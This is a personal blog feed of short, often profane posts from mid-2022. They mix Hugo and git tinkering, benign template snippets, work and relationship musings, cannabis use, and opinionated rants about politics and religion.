Fri, 26 Aug 2022 09:56:46 -0400

Slowly but surely I think I’m catching on to this “git” stuff. I’m just glad that I’m not the only one that’s had issues figuring out the details of it. It’s actually really well written and quite simple for the most part, but the problems it solves just happen to be very complex in nature. I think that’s really where it becomes pretty difficult to follow. You have to follow that the developers wrote git with merge conflicts in mind, I guess. Other than that, the file tracking stuff is insanely helpful. The file tracking from multiple disparate remote locations is also incredibly awesome. Being able to recover from me mindlessly editing crap on one device and then totally forgetting and modifying further on another before I make a commit; that’s what really got me to start thinking about it. I’m also still getting used to the whole file tracking thing. You can arbitrarily remove tracking status or add tracking status to files, but that doesn’t necessarily imply the file will “disappear” everywhere you change the status (or delete the file).

"Obviously, Dumbass"

Thu, 25 Aug 2022 20:13:04 -0400

If you eerily stalk my blog in ways that definitely make me uncomfortable, you might’ve noticed a minor change in my totients post. In the last section of code starting on line 25, you might notice that line 27 is now highlighted yellow. That accentuation was always intended to be there. The problem was that I had done it incorrectly, because I didn’t understand the fucking directions.

I was using:

```lang {linenostart=25,hl_lines=27}
Blah blah blah
Blah Blah blah
```

What I didn’t realize was that hl_lines is independent of linenostart. What does that mean? That means if I want line 27 highlighted in the code, I don’t set hl_lines=27. I set, in this particular example, hl_lines=3.

Bothersome

Thu, 25 Aug 2022 08:49:31 -0400

I keep thinking about the current state of organized Christianity, and the more I think about it, the more disappointed I become. First and foremost; when exactly did Christianity become a grifting scheme? Originally, tithing was a sort of a tax you paid to the church to receive their services, as the earliest churches were not only places of worship but served as primitive “social workers” as well, houses of charity, and they were largely considered some of the first courts. It wouldn’t have been strange a thousand or so years ago for a priest to help two feuding individuals settle their differences as an objective third party. The church had a place in society, so not tithing was a considerable mistake in those days. It would’ve made you a social pariah and excluded you from services that were life saving at the time.

Societal Leeches

Wed, 24 Aug 2022 15:52:44 -0400

I keep seeing news dart across my phone of the GOP throwing a fit about the FBI raiding Trump’s syndicate headquarters. Listen, I’ll be honest with you- Even the best politicians are fucking lying criminals. A huge part of the problem is the culture of depravity orbiting the legal system, with far too many bar exam graduates contributing to how absolutely fucked up the government is. Yes, it starts with the sleazy piece of shit lawyers and works it’s way all the way up to congress and the white house. Especially the fucking supreme court. Total fucking clowns. Idiots who thump bibles and give zero shits about society at large. Fuck the supreme court. Fuck the GOP, too. They’re leeches, really. They draw district lines so that they can’t be ousted, then they take kickbacks to remove social safety nets and destroy the environment, and then they fucking retire to a board room where they rake in millions and put their kids through law school to perpetuate their trash nonsense. It’s a cult, and it’s time to deprogram the cult.

Aimless

Wed, 24 Aug 2022 09:58:00 -0400

I really couldn’t think of a better title, I just wish it didn’t apply to 90% of my content. It’s fine, I guess. It makes me feel better to have a voice, even if that voice isn’t saying much of anything. Making thoughts, feelings, and ideas, manifest into typed word; this is the best therapy for me. It really is. It has kept me going for so many years when I really wasn’t sure how I’d do it. Even this blog has been around since 2012 solidly, but before that existed as a wordpress thing floating around the interwebs.

It Begins

Tue, 16 Aug 2022 19:34:15 -0400

Time off. We dedicate 33% of our lives to sleep immediately upon existing. It’s unalterable. You can’t “opt out” of sleep. You don’t get a free pass. You can limit the amount of time you sleep, but at the end of the day you’re going to be wholly limited by your inherent biology. It’s inescapable.

We live in a society. Yes, it’s an awful meme, but it’s also a fact. We do in fact exist in a society, both global and tiered right down to nuclear families. We are social creatures, and as such we’ve absolutely fucked ourselves out of a perfectly good bartering system with what experts call “promissory notes”. You can now bluster and pretend to have assets when in fact you truly only have some imaginary numbers kept at a bank or, at best, a pile of actually worthless cotton that reads “Federal Reserve Note” on the front. Somehow we’ve allowed the assholes who ran fiefdoms to continue their terrible line of ideas all the way down to present day, where we’re now forced to dedicate another 33% of our lives to making money for someone else. As an aside, we’re allowed to subsist on the crumbs of our efforts, thanks in no large part to those who own the means of production.

Aimless

Mon, 15 Aug 2022 17:40:19 -0400

I feel aimless and wandering. This month marks six years and the longest I’ve been at one company in my entire life. Not so much a brag, but more of a necessary evil for someone bent on ladder-climbing. For a good few years I was really shooting for a goal. It was awesome, and I even wound up succeeding. I met the goal I had set for myself. Really, there were two of them, and I knocked them both out of the park. The first one, I wanted to work at one specific company that made hardware that I loved to tinker with. The second, I wanted the title of “Engineer”. So I hit those both out of the park in one swing, and I work at the company I wanted to work at as an engineer. Awesome stuff. But what do you aspire to once you’ve met a goal like that? Is it defeatist to set another goal? Is it defeatist not to? I really must be the only motherfucker around confounded by success. I really don’t know the answer to that, and I’m honestly really fucked up about it. I feel aimless. I feel like I don’t know what to do anymore. If I just “make up” another goal it’s not going to be meaningful and I might just end up making myself feel bad setting arbitrary goals and not being able to meet them. I’m just left confused, I guess, by the situation and what to do next.

Frustration

Thu, 11 Aug 2022 09:13:23 -0400

I honestly had to write this blog post before I could title it, because it truly is a “rant”. If you’re looking for coherence, this is not the place to look.

I have these thoughts and desires in my head to write a sweeping post about democracy, what it means to say “Democracy works”, and just what a functioning democracy will behave like. And, as much as I hate to admit, we do indeed have a functional democracy. While I can make this statement rather safely, it’s not so safe to be honest and state that we do not have a functional society. For far too long we’ve allowed the idiots in this country to believe they’re the “end all, be all” of Americana. Education is not important to Americans because propagandists have told them that they’ll turn into “sissy liberals” if they become educated. What in the ever-living fuck is that bullshit, and how the fuck does an entire group fall for it? Fucking seriously. You people really are ignorant. Christ.

It's All Finally Happening

Wed, 10 Aug 2022 18:13:15 -0400

Isn’t that just wild? Mar-a-lago searched by FBI. Man. It looks like the hammer is finally coming down. It’s also not terribly surprising that you have a number of shit-heel ass-kissers “demanding to know why Trump’s house was searched” and blustering in their usual loud and irritating manner. Dude, go fuck yourself. Seriously. Quit trying to help your criminal pal cover shit up. Fucking absolute criminals in the GOP. Every last one. It’s pathetic that the “God and country” party is literally just a cadre of criminal associates.

Links

Wed, 10 Aug 2022 13:48:03 +0000

Links

I dunno what all you can say to describe a “Link” section, but I guess this is where I’ll tell you how to find other good things. I need to refresh this to include things I really enjoy, like Searx. Gotta put it on the TODO: list.

Link	Description
Killer Curiosity	This beautiful young lady is writing about true crime, and it’s awesome.
ModusMundi	This motherfucker right here; This fuckin’ guy. He’s a cool dude. Read his stuff.
Planned Parenthood	Dear God, we need them now more than ever.
Joe Larson	Cool blog. Great tech info RE: GIS informatics
Armadillo	Hive of FOSS information
ACPIA	This is what we need.
FFRF	Beat back the fucking evangelicals before they destroy the United States. Assholes.
Kidd of Speed	Old website that hosts pictures of Chernobyl from before they opened up to the public.

I’ll add more if I find more. You can shoot me an email if I missed you somehow.

Excited

Wed, 10 Aug 2022 09:36:20 -0400

We’re getting married in April! I’m damned excited, and I can’t wait. We’re getting married by Elvis, and it’s going to be in Vegas. I would marry my fiance at a courthouse tomorrow, but we both think it’ll be a lot more fun to have a banger of a ceremony in Vegas and to party and celebrate that we love each other and want to have this kind of fun together for the rest of our lives.

Time

Mon, 08 Aug 2022 09:44:56 -0400

It would be amazing if humans were conscious creatures earlier in life. Just imagine being capable of planning your life out ahead of you as an infant, pondering daily while you feed on a bottle and do fuck all else how you’re going to spend the next eighty years or so. What would you dream up if you had that sort of time and opportunity ahead of you? I would’ve tried to plan on being a Ph.D comp-sci graduate. I’m sure it would’ve fallen through miserably like every other education endeavor I’ve attempted, but still, maybe I’d have been less hesitant to shoot for it if I had the opportunity to think my way through it years in advance.

Blogue

Fri, 05 Aug 2022 22:35:39 -0400

I think the gum finally caught up with me. I bought this gum from the dispensary that’s supposed to have something like 10 milligrams of THC in each piece. I ended up chewing every piece but two, out of the ten. I really don’t think that was what did me in, though. I think, at the end of the day, what really got me high was the 50 milligram peanut butter cup. Man, that thing is wild. For some reason it feels more intense than most of the recent times I’ve eaten two 25 milligram gummies. It’s been more and more frequent that I need to take as much to actually get any sleep. Otherwise I’m just wasting my time and my money.

Friday

Fri, 05 Aug 2022 08:22:13 -0400

Friday is freedom. Friday is cuddling on the couch with my fiance. Friday is the start of when I am actually alive, not the sad state we economic drones are in the rest of the time. Not pursuing our passions or, worse yet, if we’re pursuing our passions it’s to make someone else significantly more wealthy than we in some sordid “passion harvest farm”. Capitalism has an amazing way of draining the color and happiness out of life between the hours of eight in the morning Monday through until five in the evening on Friday. It’s really slavery if you think about it. Land ownership is slavery. Native Americans had no concept of land ownership, and they were the last free men. They could go where the wanted, hunt where they wanted, and live to pursue whatever passions they desired. And in the pursuits of those passions they simply hunted and crafted to improve their lives. They weren’t told they had to stay away from land because “someone else owns it”. They simply existed, and it was simple. Capitalism has given us a total lack of privacy, doom scrolling, trolling, severe emotional traumas, economic slavery, and pretty much has ruined everything invented during it’s reign.

Totients

Thu, 04 Aug 2022 08:19:20 -0400

In the past, I’ve implemented Euler’s totient function for shits and giggles. It’s not a hard exercise by any means, but it can be if you haven’t had education in math at a level to understand the formula.

$$\varphi(n) =n \prod_{p\mid n} \left(1-\frac{1}{p}\right)$$

Admittedly, I had to google what the hell is going on. Technically, that’s just the framework, there are more details that follow in the form of rules. However, it was definitely a fun exercise to implement it. I think today I’m going to commit to downloading the latest version of rust and compiling that old code to see how much data I can generate. It’s really about all I can do to keep myself from going insane having to watch this robot perform the same tasks over and over until it gets them right. Yes, I have to intervene occasionally, but most of these debugs are very “hands off”.

Unit Vectors and Angles

Wed, 03 Aug 2022 12:45:44 -0400

In my job, I work with a ton of unit vectors. While tracking things in three dimensions can be tricky, it helps to start breaking down as many aspects of the dimensions to their base components. I’m sure we’re all familiar with common spatial axis labeling. You get X, Y, and Z. Their application isn’t uniform. Some machine uses X for the vertical axis, some might use Z. What you might not yet be familiar with would be the orientations of objects in space. Yes, you can track the cartesian coordinates rather handily with XYZ, but that will only tell you the position of those objects. It won’t tell you the direction they’re facing, and for that we use unit vectors labeled IJK. They’re typically values between -1 and 1, and they can define rotation completely.

Stalled

Wed, 03 Aug 2022 08:26:37 -0400

Right now I feel really stalled. I haven’t done jack shit with any hobby outside revamping this blog, and I haven’t picked up any new hobbies either. I also don’t seem to be going anywhere at work. I do the same things day in and day out, and that’s usually a red flag when you’re an engineer. Typically problems come in all shapes and sizes, and for a long time there people were throwing everything and the kitchen sink at me. Now it seems like the problems I’m tasked with fixing are repetitive. It’s almost always the same thing. Repetitiveness is usually the thing that kills it for me. I can’t do repetitive. I guess everything becomes repetitive eventually, over time, no matter how complex it is. The better you get at it, the more the finer details appear mundane and unspectacular.

Work Travel

Tue, 02 Aug 2022 11:42:34 -0400

It’s finally getting to me. Six years of traveling for work and I’m ready to find a place and stay put for a while. It’s getting old, living out of suitcases and hotels. Shitty continental breakfasts, awful Wi-Fi, constant bad meals. And those are the perks. The worst of it is not being able to spend time with my loved ones. It’s getting old real fast, and I honestly don’t know what to do about it. I could get another job with another company, but I really doubt they’d be able to match the perks my company offers. It would take a lot for me to be able to afford “stepping down” when it comes to moving companies. I’m just tired of it. It was convenient when I didn’t want to be home, but now it’s just an awful burden looming large every Monday, wondering if they’re going to send me to some god forsaken shithole in the midwest.

Murrica

Sun, 31 Jul 2022 13:45:47 -0400

I swear to god, I think I’ve just come back from the weirdest experience I’ve ever had outdoors. First of all, I’ll just say right now that the culture of people who do this shit frequently is weird as fuck. I don’t honestly understand it, and I suppose the onus isn’t on me to do so, since I’m not exactly itching to become one of these loony people.

Immediately upon arriving at the camp site, it’s just pure chaos. People are walking around everywhere. It’s nearly impossible to avoid hitting someone while driving through these winding dirt paths. They aren’t exactly robust enough to be designated as roads, so we’ll stick to referring to them as paths. These paths are also not well marked and wind around everywhere. It’s ridiculously easy to get lost, despite the fact that they give you a map, and draw lines and immediately visible sights for reference. It’s not as helpful as you’d think, especially since the areas aren’t well lit after nightfall.

One With Nature

Fri, 29 Jul 2022 14:19:11 -0400

I’m not “becoming one with nature” any time soon, that’s for damn sure. The title is mostly clickbait, but I think I see it more as a joke than anything else. The reality is that you can’t get offensively drunk in a large group in public, at least not without risk of being hassled by “the man”, but you certainly can get offensively drunk in large groups in the woods! Nature don’t give a shit about your antics. I’m not saying bad things don’t happen in nature, I’m just saying they’re a different sort of bad thing than getting kicked out of an establishment for being loud and vulgar. Either way, I guess we’re going to smoke weed, drink, and float down a river this weekend. It should be fairly fun, and a good precursor to the “up north” bash that my love and I typically throw. It’s normally a family event, but we do drink a little and we smoke a little and there’s a lot of floating and parking boats on sand bars, you know, the good stuff.

Missing

Thu, 28 Jul 2022 13:14:59 -0400

I’m on the road for work this week. I have my work backpack, with all my tools and my work laptop, my Sony WH-1000XM4’s, all the cables I’ll ever need, and some other random work equipment. Then I have my secondary laptop bag with my personal laptop, a bunch of weed stuff, charger cables for everything, my Nintendo Switch, my water bottle, and my personal toys to occupy me.

Not gonna lie, I could bring my entire house and it wouldn’t really curb the homesickness I feel. I just miss my person a lot. She couldn’t come visit me for this trip, and I’ve been away for work a lot lately. It’s making me sad, to be honest.

Day to Day Sillyness

Thu, 28 Jul 2022 08:31:41 -0400

Oh man, the shit that I’m sitting in on right now. These dudes are something else. I literally heard a dude talking about how a drunk man and a drunk woman can constitute rape because apparently only women can’t consent while drunk, and then he details how that should preclude a woman from serving as president. This guy is a real piece of work. He’s the one that’s been espousing the most virulently conservative rhetoric I’ve seen, and I think he’s gonna end up causing a scrap with this shit.

Schiit Is Bananas

Wed, 27 Jul 2022 08:18:53 -0400

I put my order in, and it shipped. Awesome. If you check the Schiit website, you might see that a number of products they sell are on back order, and at the time of this writing the Freya S was listed on back order by about a month. This component is the piece I need to have a well-rounded stack, because I feel like my Vidar isn’t being “encouraged” enough by my Topping DX3 Pro+. It’s more of a source than a preamp, I feel. But the Freya, though. That thing is supposed to be a powerhouse, with the discrete Nexus gain stage. Apparently it’ll wrestle an extra 19dB out of your line in without distorting the hell out of it.

Mad Max: Fury Road

Tue, 26 Jul 2022 20:24:09 -0400

I have so many things to say about this movie. It’s hard to even sort out where the fuck to start, but I think I have an idea. I think that if there’s one single scene that describes this movie perfectly, it has to be the introduction of the “Guitar Stage Car”. Yep. You read that correctly. It’s a fucking car outfit with a shit-ton of speakers, a mini stage, and a dude playing a flame-throwing guitar while wearing some crazy leather bondage outfit. I guess he just shreds while they go out on raids and shit, I dunno. But this fuckin movie, man. This movie is seriously eleven-out-of-ten over the top.

God Dammit

Tue, 26 Jul 2022 09:37:08 -0400

There really isn’t anything worse than traveling for work and not having access to any of the resources you require to complete the task. I’m here because I need to earn a living to support myself and my family, and my time is precious to me. So wasting it an dragging out the time I’m apart from my family isn’t a great way to curry favor with me. It’s going to view your organization as the joke that it is.

Redirected

Mon, 25 Jul 2022 15:07:44 -0400

How annoying. I hate it when people treat your time as though it has no value. We’re all on this rock for essentially the blink of an eye and I’ve already lost a third of existence to sleep. Then mankind had to go and invent something stupid like the economy, so now I get to dedicate another third of my life to making someone else money. Awesome. So I’m 66% down and you want to waste my time even further? No thanks, man. Hard pass on that. At least I’m still getting paid, but I guess the part that burns isn’t the money, it’s the respect. Show me respect by not wasting my time, eh?

Contentment

Sun, 24 Jul 2022 23:12:33 +0000

I finally know what it’s like. All those things people say about what it means to really be in love, how people lord over it as a concept and put these really tight constraints on what it means to be in love- I get it. I can see why people would gatekeep a feeling like this. It feels like a crime to dilute it and allow lesser emotions any stage presence. It makes sense, finally.

Neato

Sun, 24 Jul 2022 14:58:44 -0400

I think working on my blog is a damned neat hobby. The result looks like a well-oiled machine even though I don’t know how to make a well-oiled machine. It’s just super cool. I just wrote my last post detailing how I automatically generate webp thumbnails for every markdown image I use in blog posts. Not gonna lie- Hugo is fucking amazing. It’s blazing fast, easy to understand, relatively few bugs, and does exactly what you expect it to (within the confines of expecting Go Html Template).

Here, have a couple memes.

Hugo Template Render Hooks

Sun, 24 Jul 2022 13:56:52 -0400

This was a tough nut to crack. I’m totally new to Go Html Templates and Go itself, and I’ve never really used anything outside of Jekyll. It took me a minute, but I wound up coming up with this:

{{ $image := (resources.Get .Destination) }}
{{ with $image }}
 {{ if eq $image.MediaType.SubType "svg" }}
 <a data-fancybox="image" href="{{ $image.RelPermalink }}" data-caption="{{ with $.Title }}{{ . }}{{ end }}">
 <img src="{{ $image.RelPermalink }}" {{ with $.Text }} alt="{{ . }}" {{ end }} {{ with $.Title}} title="{{ . }}"{{ end }} />
 </a>
 {{ else }}
 {{ $resize := .Fill "200x165 webp q80" }}
 <a data-fancybox="image" href="{{ $image.RelPermalink }}" data-caption="{{ with $.Title }}{{ . }}{{ end }}">
 <img src="{{ $resize.RelPermalink }}" {{ with $.Text }} alt="{{ . }}" {{ end }} {{ with $.Title}} title="{{ . }}"{{ end }} />
 </a>
 {{ end }}
{{ end }}

Apparently I have a *.svg file on my blog somewhere, because that was a thing I had to catch right away for this to work. So I had to move all my images out of static and into assets for it to work, first of all. Then I had to figure out how to query a parent context, so I could fill in Text and Title with the images. That’s what the $ is in $.Text. It’s the parent context outside of $image.

Dump

Sun, 24 Jul 2022 11:10:24 -0400

BEHOLD! A dump of maymays!

Federal Postal Court

Thu, 21 Jul 2022 21:03:16 -0400

Oh man. Holy shit. If you haven’t seen this I consider you to be incredibly lucky. When I stumbled upon this “Federal Postal Court” nonsense I really couldn’t figure out what the fuck I was reading. This shit is absolutely fucking bananas.

: Russell-Jay: Gould.

I just don’t know where to start with this loon. He claims he has some mystical understanding of grammar and syntax that is “universally understood” as “mathematically supported”. I honestly can’t type enough quotes to encapsulate these absolutely asinine claims. I just can’t even with this guy. This is easily the dumbest shit I’ve stumbled upon in a very long time. And he’s an actively seeking con-man, too. He’s currently bilking anyone dumb enough to give him money a few hundred dollars per “claim of the life”.

Fancybox and Hugo Even

Wed, 20 Jul 2022 11:06:49 -0400

My theme apparently wraps every ![Image](source) in another set of <a href=""></a> tags that point to the source for the image. If you’re trying to generate galleries with a shortcode using fancyboxes, this default behavior is going to bite you in the ass. I forced the behavior to what I want/expect by copying assets/js/even.js and assets/js/main.js from themes/even into my blog root assets/js/. Then I hacked out the fancyboxes references in both files and regenerated. Boom, galleries work, and I didn’t lose anything of value in any previous posts. It’s a win/win for my specific situation.

Lmfao

Tue, 19 Jul 2022 19:55:30 -0400

BEHOLD, FUCKING MEMES.

God damn, this thing is really flexible. Just added a layouts/shortcodes/gallery.html and slapped a little Go Html Template and some lightbox.js and whatever, and bing-o bang-o boom; motherfucker is an autogallery. BOOYAH, BITCH.

Cool as fuck.

Of course there’s a little more to it than that. Gotta do some page bundling as well, which is easy enough. Just run your hugo new post/2022-01-01-Title/index.md and dump your images into content/post/2022-01-01-Title/img.

Spree

Tue, 19 Jul 2022 11:44:22 -0400

I’m sure churning the posts out, boy howdy. Treating this sumbitch like Facebook. Except this is way better than Facebook. I’m the master here, no one else. Nobody else gets to determine what I am and am not allowed to post here except for me. It’s very empowering and feels pretty awesome, and as long as you practice rational operational security you’re golden- Even if you piss off half the internet.

Burnout

Mon, 18 Jul 2022 17:56:48 -0400

I’ve always felt as though I’m worth more than present day economics. I think we all feel that way at some point in our lives. I also feel as though most of us average folk are better than the lot we’ve been cast with this “work to make others rich” bullshit we’re forced to endure at present. Even small business owners are sadder slaves than the office drones. At least the office drone has one boss, maybe two or three. Every small business owner has multiple supervisors in the form of customers. Man, the customer is always a prick. Even if you’re doing the customer an enormous favor, it doesn’t matter. He’s going to try and get that favor completely free of charge, despite the fact that it doesn’t benefit you to do that work for free.

3edgy5me

Sun, 17 Jul 2022 18:38:51 -0400

I enjoy marijuana quite a bit. I love dry flower. I love concentrates. I love edibles. I use it to help me sleep, and it helps me sleep far better than anything else I’ve ever tried. I remember the bad old Ambien days. That stuff is probably just about the worst thing to happen to sleep since insomnia. The remedy is almost as bad as the malady. You can do anything on Ambien. The only problem is that you likely aren’t in the right frame of mind and you’re damn near guaranteed to remember next to nothing about why you woke up where you did or how you got there. It’s interesting, to say the least.

Creative

Sat, 16 Jul 2022 20:57:00 -0400

As I learn more about how to use Go HTML Templates, Hugo, goldenmark, and the other underpinning technologies of this particular brand of static site generation, I find myself refining the overlaid structure while running out of actual material to feed to this thing. It’s starting to get to the point where I have to dig into really old subject matter that bothered me a lot years ago, rather than things that pertain to the here and now. It’s actually pretty annoying, but I get it. Like some sort of perverse nerd-flavored writer’s block.

Who Is James McGibney?

Sat, 16 Jul 2022 20:27:51 -0400

You’re probably not wondering; Who is James McGibney? And I know why you aren’t wondering. It’s because nobody really gives a shit anymore. He’s a random asshole who was cheated on and started a revenge porn website to get back at the ex who cheated on him. Ironically enough, after starting his revenge porn website he also started digging into random people’s personal lives and “exposing” all personal details he could obtain about them and using search engine optimization to ensure that his slam pages are the first result for any googling of these people’s names.

Terra Luna

Sat, 16 Jul 2022 13:44:32 -0400

I still look at this and smile.

Image not found!

Mobile Post

Fri, 15 Jul 2022 15:23:24 +0000

Well, this is interesting. I’m currently writing this post on my phone. The git repository I’m writing it into is currently tucked away neatly into Termux.apk, and it’s a full and working blog development environment including Hugo right on my phone itself. If I had a good stand and a keyboard to use this wouldn’t be a bad setup.

I can also take photos and post them up directly as well. This is cool. About to see how a command line commit with git goes. Wish me luck.

Tired

Fri, 15 Jul 2022 08:53:30 -0400

Man, I’m really tired. I think a part of it is the lingering notion that it might be time for me to step out of my comfort zone and start exploring programming in a serious way, either by learning javascript or python, and maybe trying to do something career-wise with it. I dunno. I’ve heard, and seen, that javascript is a complete fucking mess. Python is pretty awesome, but I’ve just never spent any significant amount of time messing with it.

God Is Dead

Fri, 15 Jul 2022 06:36:27 -0400

It’s true, God is dead. He was absolutely fucking slaughtered by rational inquiry. That’s okay. I bet it happens to nearly every species that attains sentience. Surely we can’t be alone in experiencing this, the universe is far too large for that to be the case.

I suppose the most important take-away here is that God never existed in the first place, at least not as an omnipotent sky-wizard. He existed as a literary figure that helped us to explain why we’re here and the world around us. There really is no purpose to him anymore, so it’s time we retired this “God” person, as the people who still cling to his existence are destroying society and- honestly -they’re destroying the planet as well. So that’s that, we can wrap it up now. God is dead, and he ain’t coming back. No “return of Jesus”. Do not pass “go”. Do not collect $200. God is dead.

Justices Found Lying Under Oath Should Be Removed

Tue, 12 Jul 2022 20:37:57 -0400

AOC says Supreme Court justices who lied under oath must face consequences for ‘impeachable offense’

I heavily fucking agree with that article. I think the justices that stated under oath they accepted Roe v. Wade as “established precedent” should be removed, not impeached. Fucking removed. Gorsuch, Kavanaugh, Thomas, Barrett, and Alito, should be fucking removed. This redneck trash with assault rifles have been allowing these MAGA clowns to remove rights by limiting what is allowed in any given abortion, even though it was a constitutionally protected right. Well, you know what we should do? We should ban devices that use cartridges and gunpowder completely, let the fucking gun nuts own only compressed gas and spring loaded pellet guns. Fuck these fucking redneck pieces of shit, they can have all the right to “bear arms” so long as the projectile involved won’t break skin. Fucking asshole trash bags.

Pinning Posts in Hugo

Tue, 12 Jul 2022 19:30:00 -0400

Alright, in this post I’m going to show you how to pin posts in Hugo. But before you keep reading, I request you review the template you’re using and ensure it’s going to allow you to pin posts in the first place.

The thing you’re looking for is the index declaration in your index.html.

Example:

{{- define "content" -}}
 <section id="posts" class="posts">
 {{/* (index .Site.Paginate) */}}
 {{- $paginator := .Paginate (where (where .Site.RegularPages "Type" "post") ".Params.hiddenfromhomepage" "!=" true) }}
 {{- range $paginator.Pages -}}
 {{ .Render "summary" }}
 {{ end -}}
 </section>

For instance, in the above snipped, line number four is where you can find the $paginator that will tell you whether you’ll be able to pin posts. If you see mine, you’re good. Most are probably going to do this. If you see anything with “sortby” then you’re probably fucked, because your template is probably forcing your shit to sort by date, rather than just paginate as Hugo does by default.

It's my Blog and I'll Do What I Want To

Tue, 12 Jul 2022 10:28:41 -0400

Seems like it happens every time. It happened the last time I set up Wordpress. The ease of posting to my blog seems to generate an inverse relationship with my post frequency. I’ll post a ton at first, and then my posts taper down to nothing, sometimes going whole months without even so much as a dead man’s switch. It’s alright, though. Honestly, the times through the day that I feel most compelled to write are when I’m bored. That usually is at work, but it hasn’t been lately, to be honest. Lately I’ve been finding things to do that are work related if I’m bored, which I guess is a good thing. I dunno. We’ll see how long it lasts, though.

Raspberry Pi Watchdog Timer

Mon, 11 Jul 2022 18:22:24 -0400

Earlier today I experienced an amount of panic that I think most nerds can relate to. I tried to sync my git project and I got “no route to host” in response. GASP. There are so many things that can go wrong, especially when you’re forcing all the heavy lifting on a tiny little raspberry pi. The thing has been a brute every since I got it, though, chugging away with nary a care. It truly has been a workhorse for the specs and size.

War on Religion

Sun, 10 Jul 2022 17:24:32 -0400

I had planned to write a different post, but honestly- This is what I really wanted to do with a post. I’m going to expose religious zealots for what they are. Rapists.

Bishop Accountability
ProPublica: Credibly Accused
Sexual Harassment Went Unchecked at Christianity Today
Houston Chronicle: Abuse of Faith

If you’re against abortion I want you to ask yourself, “am I so against abortion that I’m okay with my child being forced to birth a rape baby by her rapist?” If the answer is “yes”, you’re trash, and I hope you never make peace with or reconcile that.

Andrew Lee (rasengan) Fucking Sucks - Freenode is Dead

Sun, 10 Jul 2022 12:48:46 -0400

The Justin Bieber-wannabe weakly rapping in the above video is none other than Andrew Lee. He’s your usual privileged piece of shit who runs around spreading whatever money he has to shit on things other people love just to destroy them.

Opinion: Why Im Going to Saudi Arabia

Sun, 10 Jul 2022 09:18:11 -0400

I figured I’d take a minute to offer my thoughts on Biden’s explanation of why he’s going to visit Saudi.

I appreciate that Biden seems to admit quickly that what happened to Jamal Khashoggi was really fucked up.

I released the intelligence community’s report on the murder of Jamal Khashoggi, issued new sanctions, including on the Saudi Arabia’s Rapid Intervention Force involved in his killing, and issued 76 visa bans under a new rule barring entry into the United States for anyone found to be involved in harassing dissidents abroad. My administration has made clear that the United States will not tolerate extraterritorial threats and harassment against dissidents and activists by any government.

Pimp My Ride: Blyat Edition

Sun, 10 Jul 2022 08:50:46 -0400

Behold: the Slav Ubermensch

Sun, 10 Jul 2022 08:38:01 -0400

Old

Sat, 09 Jul 2022 12:03:23 -0400

Went out drinking with work friends the other night. Completely made an ass of myself and threw up in a beer glass. Well, mostly. The portions that didn’t make it into the beer glass made it on my pants, then the floor. Damn. I’m too fucking old. I used to be able to hang, but it seems like old age is finally ripping into me. That shit goes deep, too. Down to the bones, so it seems.

Howie Mandel Might Be Going Insane

Sat, 09 Jul 2022 10:32:37 -0400

WTF, HOWIE!? 😂

I guess Howie posted this on TikTok and deleted it after half a day.

Howie Mandel Prolapse Video Shocks Internet: ‘Traumatized’

Dumbass

Fri, 08 Jul 2022 11:07:27 -0400

Man, I feel like I’m getting way too old. Went out drinking with friends last night, wound up drinking way too much and making an ass of myself in pretty much every way conceivable. Even threw up in an empty beer glass. Got some on my pants. Just not a great sight all around. Had to call in sick at work because there’s no way I’m making it into the office in this condition. I’m barely alright remaining vertical long enough to bang out this post. Blegh.

Kristina Karamo is Insane

Thu, 07 Jul 2022 10:03:55 -0400

Strangest thing to hit my newsfeed today is that the lunatic fringe in Michigan is advocating for a candidate for Secretary of State, a Kristina Karamo.

Hoo boy. This one’s a fucking doozy.

“When people in other cultures, when they engage in child sacrifice, they didn’t just sacrifice the child for the sake of bloodshed,” Karamo said later in the episode. “They sacrificed the child cuz they were hoping to get prosperity and that’s precisely why people have abortion now. ‘Because I’m not ready. I don’t wanna have a baby. I don’t feel like it. I don’t have time. I wanna make more money. I want my freedom.’ So you’re sacrificing that child hoping to get something out of their death, which is your freedom, your happiness, your prosperity.”

Fixed Hugo Template Implementation

Wed, 06 Jul 2022 20:45:06 -0400

Jesus fucking Christ. OK, so I’ve fixed my implementation of the “Even” theme. Turns out, as most problems do, it boiled down to “PEBKAC”. That’s right- Problem exists between keyboard and chair.

So, in my infinite wisdom, I had adjusted my config.toml to use language codes as most folks know them: "en-US". Right? Riiiiight?

NO. I said no.

In Hugo world, or at least this template’s build, languages are just “en” or “es” or whatever the fuck you speak.

Blackholed by Google

Wed, 06 Jul 2022 10:35:45 -0400

I’m going to make this very clear from the outset: Google has every right to refuse to crawl/link to my content. It’s their choice as a company to decide what content is acceptable.

Google has decided that certain content is not appropriate for the masses.

That said, I do believe a government database should also exist that mirrors the functionality of Google, but by law is required to accept data from any US source. It should be searchable by citizens and should not be censored. In the very least, it’s likely the opposing databases would cover the gaps and produce a whole subset of internet search results.

Title, Because You Need One

Wed, 06 Jul 2022 09:20:14 -0400

I was originally going to write with some sort of purpose or intent, but I decided against it last minute. Instead, I’m going to do my usual attention-deficit trouncing of rationality. Not that what I write is meaningless, but it’s always better if I don’t try to pretend I can stay on topic for longer than five minutes. I mean, comfort-wise, when writing. Not that the result is so much better. I’m sure cohesive text is always more pleasant to peruse than the jumbled spaghetti I end up throwing into the ether.

David A. Faber on Pharma Payroll

Tue, 05 Jul 2022 12:44:58 -0400

According to Reuters’ latest reportings, Judge David A. Faber has found distributors of opiate medications (Namely McKesson Corp, AmerisourceBergen, and Cardinal Health) not responsible for fueling the raging opioid epidemic in West Virginia.

Considering recent events involving the Sackler family, it makes one wonder if the drug distributors are just really good at obscuring their criminal behavior or if David A. Faber is going to retire really cushy on Pharmaceutical kickbacks. The recent judgement of David Faber really doesn’t give a lot of hope to Americans that justice is actually available to them.

Non-Title Title

Tue, 05 Jul 2022 12:03:08 -0400

I think I originally had a plan for this post, then jumped the shark shortly after I wrote the first sentence and subsequently hated it. It’s fine. Whatever. If I don’t get around to writing that out today I’ll bang it out eventually. God knows this thing never ends. It won’t stop, can’t stop, isn’t stopping for anything.

I’ve noticed that coming by actual good memes these days is really difficult. Your average meme-sharing platform is rife with awful opinions and sad excuses for comedy, and I’m having a hard time finding the good stuff. Reddit is a veritable wasteland of comedy with morality police shutting down even a minor whiff of laughter. 4chan looks really tired these days. Really, really tired. It’s nothing but “race war” instigation and pretty much every sort of debauchery you can imagine. Facebook was never good, and I’ll never use that pile of shit ever again. Telegram is basically just where actual 4chan nazis go to talk about how “(((they))) want to control society with vaccines” or other such similar nonsense. I guess I’m just out of touch with the meme scene. And don’t get me started on Instagram. If you suggest Instagram as a source of memes then you’re even more out of touch than I am.

